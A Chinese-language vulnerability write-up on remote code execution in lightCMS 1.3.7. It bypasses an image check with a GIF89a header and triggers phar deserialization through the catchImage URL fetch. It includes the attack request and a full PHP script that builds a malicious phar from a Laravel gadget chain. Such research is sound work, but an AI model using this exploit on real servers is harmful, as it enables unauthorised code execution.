lightcms 1.3.7rce

lightCMS是一个轻量级的CMS系统,基于Laravel 6.x开发,前端框架基于layui

在后台/admin/entity/2/contents/create处,我们可以上传图片。

image-20210616174448320

通过js的event,我们可以看到与php的绑定。

image-20210616174924679

看一下源码:

image-20210616183345964

跟进isValidImage

image-20210616183519683

config配置在/config/light.php下:

image-20210616191616366

同时,代码在Intervention\Image\Facades\Image还对图片进行了一次解析,不过这次比较松散,只要GIF89a文件头就可以绕过。

正是基于laravel框架,我们可以很容易找到一条可以利用的反序列化链,同时对文件上传的松散我们可以构造rce的phar文件,那么现在需要明确的一点也就是找到可以触发phar的地方。

与文件上传同处,可以发现一处catchImage:

image-20210616192655410

该函数可以通过post请求,下载外部图片于本地。在下载前,有一处fetchImageFile对文件进行检测,我们跟进观察:

POST /admin/neditor/serve/catchImage
file=http://127.0.0.1/theoyu.txt

image-20210616193421841

可以看到这里开启了curl对我们的文件进行了请求,最后对我们$data内容进行一次判断,不为Webp格式的话则进入Image::make,不断调试,最后我们将顺利走到init()处:

image-20210616195743275

我们重点关注isUrl()处,因为可以发现initFromUrl中:

image-20210616195929712

会触发file_get_contents进行解析,而该函数可以完美触发phar,接下来看看对isUrl()的处理。

    public function isUrl()
    {
        return (bool) filter_var($this->data, FILTER_VALIDATE_URL);
    }

可以说是非常友好,对于FILTER_VALIDATE_URL只要满足xxx://xxx格式即可,而我们要想触发phar:// 数据流包装器本身也满足该需求。

我们重新回过来分析:

  1. 上传phar文件。
  2. 在服务器上部署任意可访问文件,内容为phar://phar文件地址
  3. 通过catchImage下载该文件,在判断文件内容时触发本地phar,达到rce。

phar用以下脚本构造即可:

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
      protected $connection;

      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }

}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent('whoami');

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');

}

image-20210616201629961

拿到文件地址,需下载的文件我就直接写在本地了:

phar://./upload/image/202106/3nEb7QNkMnVrxyKtlkrBHMyTSH9slDSL7Nl9hRbL.gif

image-20210616201744680

参考:

https://xz.aliyun.com/t/9555#toc-2